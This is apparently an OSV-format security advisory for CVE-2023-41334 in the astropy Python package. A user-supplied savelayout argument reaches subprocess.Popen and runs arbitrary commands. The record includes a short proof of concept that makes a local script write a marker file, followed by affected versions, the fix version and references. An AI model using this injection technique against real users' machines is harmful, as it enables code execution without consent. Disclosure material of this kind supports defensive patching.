id: PYSEC-2026-1199
published: "2026-07-07T11:45:35.644849Z"
modified: "2026-07-07T17:23:47.903653Z"
aliases:
- CVE-2023-41334
- GHSA-h2x6-5jx5-46hf
summary: RCE in TranformGraph().to_dot_graph function
details: "### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce > /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> from astropy.coordinates.transformations import TransformGraph\n>>> tg = TransformGraph()\n>>> tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not 'str'\n>>> \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user's machine\n"
affected:
- package:
    name: astropy
    ecosystem: PyPI
    purl: pkg:pypi/astropy
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 5.3.3
  versions:
  - "0.1"
  - "0.2"
  - 0.2.1
  - 0.2.2
  - 0.2.3
  - 0.2.4
  - 0.2.5
  - "0.3"
  - 0.3.1
  - 0.3.2
  - "0.4"
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.4.4
  - 0.4.5
  - 0.4.6
  - 0.4rc1
  - 0.4rc2
  - "1.0"
  - 1.0.1
  - 1.0.10
  - 1.0.11
  - 1.0.12
  - 1.0.13
  - 1.0.2
  - 1.0.3
  - 1.0.4
  - 1.0.5
  - 1.0.6
  - 1.0.7
  - 1.0.8
  - 1.0.9
  - 1.0rc1
  - 1.0rc2
  - "1.1"
  - 1.1.1
  - 1.1.2
  - 1.1.post1
  - 1.1.post2
  - 1.1b1
  - 1.1rc1
  - 1.1rc2
  - "1.2"
  - 1.2.1
  - 1.2.2
  - 1.2rc1
  - "1.3"
  - 1.3.1
  - 1.3.2
  - 1.3.3
  - 1.3rc1
  - "2.0"
  - 2.0.1
  - 2.0.10
  - 2.0.11
  - 2.0.12
  - 2.0.13
  - 2.0.14
  - 2.0.15
  - 2.0.16
  - 2.0.2
  - 2.0.3
  - 2.0.4
  - 2.0.5
  - 2.0.6
  - 2.0.7
  - 2.0.8
  - 2.0.9
  - 2.0rc1
  - "3.0"
  - 3.0.1
  - 3.0.2
  - 3.0.3
  - 3.0.4
  - 3.0.5
  - 3.0rc1
  - 3.0rc2
  - "3.1"
  - 3.1.1
  - 3.1.2
  - 3.1rc1
  - 3.1rc2
  - "3.2"
  - 3.2.1
  - 3.2.2
  - 3.2.3
  - 3.2rc1
  - 3.2rc2
  - "4.0"
  - 4.0.1
  - 4.0.1.post1
  - 4.0.2
  - 4.0.3
  - 4.0.4
  - 4.0.5
  - 4.0.6
  - 4.0.6.dev27461
  - 4.0rc1
  - 4.0rc2
  - "4.1"
  - 4.1rc1
  - 4.1rc2
  - "4.2"
  - 4.2.1
  - 4.2rc1
  - "4.3"
  - 4.3.1
  - 4.3.post1
  - 4.3rc1
  - "5.0"
  - 5.0.1
  - 5.0.2
  - 5.0.3
  - 5.0.4
  - 5.0.5
  - 5.0.6
  - 5.0.7
  - 5.0.8
  - 5.0rc1
  - 5.0rc2
  - "5.1"
  - 5.1.1
  - 5.1rc1
  - "5.2"
  - 5.2.1
  - 5.2.2
  - 5.2.dev0
  - 5.2rc1
  - "5.3"
  - 5.3.1
  - 5.3.2
  - 5.3rc1
references:
- type: WEB
  url: https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2023-41334
- type: WEB
  url: https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
- type: PACKAGE
  url: https://github.com/astropy/astropy
- type: WEB
  url: "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
- type: PACKAGE
  url: https://pypi.org/project/astropy
- type: ADVISORY
  url: https://github.com/advisories/GHSA-h2x6-5jx5-46hf
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H